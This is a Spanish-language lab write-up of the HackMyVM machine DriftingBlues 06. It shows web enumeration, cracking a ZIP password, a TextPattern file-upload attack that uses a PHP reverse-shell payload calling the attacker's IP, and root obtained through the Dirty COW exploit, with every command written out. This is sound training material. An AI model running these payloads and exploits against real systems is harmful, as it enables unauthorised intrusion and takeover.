cd ~/blog

~/writeups/hmv/097-driftingblues-06.md

097 - DriftingBlues 06

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password en un archivo ZIPAuthenticated Unrestricted File Upload en TextPattern CMSDirty COW (CVE-2016-5195) para escalada local
hackmyvm.eu/machines/machine.php?vm=DriftingBlues6

~1 min de lectura


Enumeración de servicios

El escaneo sólo descubre HTTP y muestra una versión antigua de Apache sobre Debian. robots.txt no sólo revela la ruta administrativa de TextPattern, sino que incluye una pista explícita sobre archivos ZIP:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.162.90
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.162.90
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-24 00:14 -04
Nmap scan report for 192.168.162.90
Host is up (0.00047s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds

Enumeración web y recuperación de credenciales

Consultamos robots.txt y añadimos la extensión .zip a Gobuster, tal como indica el comentario:

❯ cat robots.txt
User-agent: *
Disallow: /textpattern/textpattern

dont forget to add .zip extension to your dir-brute
;)
❯ gobuster dir -u 'http://192.168.162.90' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/spammer.zip          (Status: 200) [Size: 179]
...

spammer.zip está cifrado con una Weak Password. zip2john transforma sus datos de cifrado en un hash compatible con John; tras recuperar myspace4, extraemos creds.txt y obtenemos mayer:lionheart:

❯ zip2john spammer.zip > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
myspace4         (spammer.zip/creds.txt)
...

❯ unzip spammer.zip
[spammer.zip] creds.txt password: myspace4
 extracting: creds.txt

❯ cat creds.txt
mayer:lionheart

Ejecución de código en TextPattern

Las credenciales permiten iniciar sesión en /textpattern/textpattern/. Searchsploit muestra que la funcionalidad autenticada de archivos de TextPattern presenta un Unrestricted File Upload RCE y permite publicar código PHP ejecutable:

❯ searchsploit textpattern
...
TextPattern CMS 4.8.3 - Remote Code Execution (Authenticated) | php/webapps/48943.py
...

Desde Content → Files subimos una carga PHP que inicia una reverse shell:

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.162.50/1234 0>&1'");
?>

Los archivos se publican bajo /textpattern/files/. Dejamos ncat escuchando y solicitamos pwned.php; la conexión confirma ejecución remota como www-data:

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.162.90:45642.
bash: no job control in this shell
www-data@driftingblues:/var/www/textpattern/files$

Enumeración local

La versión 3.2.0 del kernel está afectada por Dirty COW (CVE-2016-5195), una condición de carrera en el mecanismo copy-on-write que permite a un usuario local modificar páginas respaldadas por archivos de sólo lectura.

Escalada mediante Dirty COW

Descargamos el PoC, lo compilamos en la víctima y le proporcionamos 1234 como contraseña para la cuenta privilegiada que creará. El primer intento de ejecutar su falla porque la reverse shell no dispone de una terminal interactiva:

www-data@driftingblues:/tmp$ wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c --no-check-certificate
www-data@driftingblues:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
www-data@driftingblues:/tmp$ ./dirty 1234

www-data@driftingblues:/tmp$ su firefart
su: must be run from a terminal

Creamos una pseudoterminal con pty.spawn y repetimos el cambio de usuario:

www-data@driftingblues:/tmp$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@driftingblues:/tmp$ su firefart
Password: 1234
firefart@driftingblues:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)

Aunque el nombre de la cuenta sea firefart, id muestra UID 0; en Linux ese valor, no el nombre, determina los privilegios de superusuario. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados